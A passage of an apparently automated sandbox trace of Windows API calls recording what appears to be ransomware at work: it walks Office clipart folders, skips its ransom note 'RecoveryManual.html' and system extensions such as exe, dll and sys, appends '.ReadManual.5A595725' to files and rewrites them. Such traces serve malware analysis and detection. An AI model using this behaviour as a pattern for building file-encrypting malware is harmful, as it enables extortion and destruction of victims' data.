out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8ad6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0227419.JPG", cAlternateFileName="")) returned 1 [0268.784] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0227419.JPG" | out: lpString1="J0227419.JPG") returned="J0227419.JPG" [0268.784] lstrcmpiW (lpString1="J0227419.JPG", lpString2="RecoveryManual.html") returned -1 [0268.784] StrStrIW (lpFirst="J0227419.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.784] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0268.784] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0268.784] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0268.784] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0268.784] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0268.784] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0268.784] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0268.784] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0268.784] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0268.784] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0268.784] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0268.784] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0268.784] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0268.785] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0268.785] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" [0268.785] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG.ReadManual.5A595725" [0268.785] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG.ReadManual.5A595725") returned 87 [0268.785] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38945341879) returned 1 [0268.785] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg")) returned 0x20 [0268.786] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.786] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=35542) returned 1 [0268.786] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8ad6, lpName=0x0) returned 0x184 [0268.786] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.787] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.787] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.788] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.789] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8ad6) returned 0x2f0000 [0268.790] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.790] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38945865784) returned 1 [0268.790] CloseHandle (hObject=0x184) returned 1 [0268.790] SetSecurityInfo () returned 0x57 [0268.790] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.790] CloseHandle (hObject=0x194) returned 1 [0268.790] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe2e9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0227558.JPG", cAlternateFileName="")) returned 1 [0268.790] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0227558.JPG" | out: lpString1="J0227558.JPG") returned="J0227558.JPG" [0268.790] lstrcmpiW (lpString1="J0227558.JPG", lpString2="RecoveryManual.html") returned -1 [0268.790] StrStrIW (lpFirst="J0227558.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.790] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0268.790] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0268.790] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0268.790] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0268.790] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0268.791] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0268.791] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0268.791] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0268.791] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0268.791] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0268.791] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0268.791] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0268.791] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0268.791] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0268.791] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" [0268.791] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG.ReadManual.5A595725" [0268.791] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG.ReadManual.5A595725") returned 87 [0268.791] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38945964905) returned 1 [0268.791] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg")) returned 0x20 [0268.792] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.792] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=58089) returned 1 [0268.792] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe2e9, lpName=0x0) returned 0x184 [0268.792] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.793] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.793] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.795] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.795] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe2e9) returned 0x2f0000 [0268.797] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.797] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38946590187) returned 1 [0268.797] CloseHandle (hObject=0x184) returned 1 [0268.797] SetSecurityInfo () returned 0x57 [0268.797] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.797] CloseHandle (hObject=0x194) returned 1 [0268.797] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaccb1700, ftCreationTime.dwHighDateTime=0x1be8602, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaccb1700, ftLastWriteTime.dwHighDateTime=0x1be8602, nFileSizeHigh=0x0, nFileSizeLow=0x65a6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0228823.WMF", cAlternateFileName="")) returned 1 [0268.797] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0228823.WMF" | out: lpString1="J0228823.WMF") returned="J0228823.WMF" [0268.798] lstrcmpiW (lpString1="J0228823.WMF", lpString2="RecoveryManual.html") returned -1 [0268.798] StrStrIW (lpFirst="J0228823.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.798] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.798] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.798] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.798] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.798] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.798] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.798] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.798] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.798] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.798] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.798] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.798] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.798] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.798] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.798] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF" [0268.798] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF.ReadManual.5A595725" [0268.798] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF.ReadManual.5A595725") returned 87 [0268.798] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38946689127) returned 1 [0268.798] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf")) returned 0x20 [0268.798] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.799] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=26022) returned 1 [0268.799] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x65a6, lpName=0x0) returned 0x184 [0268.799] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.799] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.800] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.802] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.802] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x65a6) returned 0x2f0000 [0268.802] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.802] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38947096272) returned 1 [0268.802] CloseHandle (hObject=0x184) returned 1 [0268.802] SetSecurityInfo () returned 0x57 [0268.802] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.802] CloseHandle (hObject=0x194) returned 1 [0268.802] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x918c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0228959.WMF", cAlternateFileName="")) returned 1 [0268.803] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0228959.WMF" | out: lpString1="J0228959.WMF") returned="J0228959.WMF" [0268.803] lstrcmpiW (lpString1="J0228959.WMF", lpString2="RecoveryManual.html") returned -1 [0268.803] StrStrIW (lpFirst="J0228959.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.803] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.803] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.803] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.803] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.803] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.803] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.803] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.803] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.803] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.803] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.803] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.803] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.803] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.803] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.803] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF" [0268.803] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF.ReadManual.5A595725" [0268.803] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF.ReadManual.5A595725") returned 87 [0268.803] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38947192998) returned 1 [0268.803] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf")) returned 0x20 [0268.804] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.804] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=37260) returned 1 [0268.804] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x918c, lpName=0x0) returned 0x184 [0268.804] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.805] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.805] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.807] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.807] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x918c) returned 0x2f0000 [0268.809] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.809] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38947755962) returned 1 [0268.809] CloseHandle (hObject=0x184) returned 1 [0268.809] SetSecurityInfo () returned 0x57 [0268.809] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.809] CloseHandle (hObject=0x194) returned 1 [0268.809] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1daa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0230553.WMF", cAlternateFileName="")) returned 1 [0268.809] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0230553.WMF" | out: lpString1="J0230553.WMF") returned="J0230553.WMF" [0268.809] lstrcmpiW (lpString1="J0230553.WMF", lpString2="RecoveryManual.html") returned -1 [0268.809] StrStrIW (lpFirst="J0230553.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.809] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.809] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.809] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.809] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.810] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.810] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.810] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.810] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.810] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.810] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.810] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.810] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.810] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.810] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.810] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF" [0268.810] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF.ReadManual.5A595725" [0268.810] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF.ReadManual.5A595725") returned 87 [0268.810] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38947870890) returned 1 [0268.810] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf")) returned 0x20 [0268.811] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.811] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7594) returned 1 [0268.811] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1daa, lpName=0x0) returned 0x184 [0268.811] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.812] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.812] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.814] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.814] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1daa) returned 0x2f0000 [0268.814] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.814] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38948283885) returned 1 [0268.814] CloseHandle (hObject=0x184) returned 1 [0268.814] SetSecurityInfo () returned 0x57 [0268.814] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.814] CloseHandle (hObject=0x194) returned 1 [0268.814] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1066, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0230558.WMF", cAlternateFileName="")) returned 1 [0268.814] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0230558.WMF" | out: lpString1="J0230558.WMF") returned="J0230558.WMF" [0268.814] lstrcmpiW (lpString1="J0230558.WMF", lpString2="RecoveryManual.html") returned -1 [0268.814] StrStrIW (lpFirst="J0230558.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.815] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.815] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.815] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.815] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.815] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.815] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.815] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.815] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.815] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.815] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.815] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.815] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.815] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.815] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.815] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft 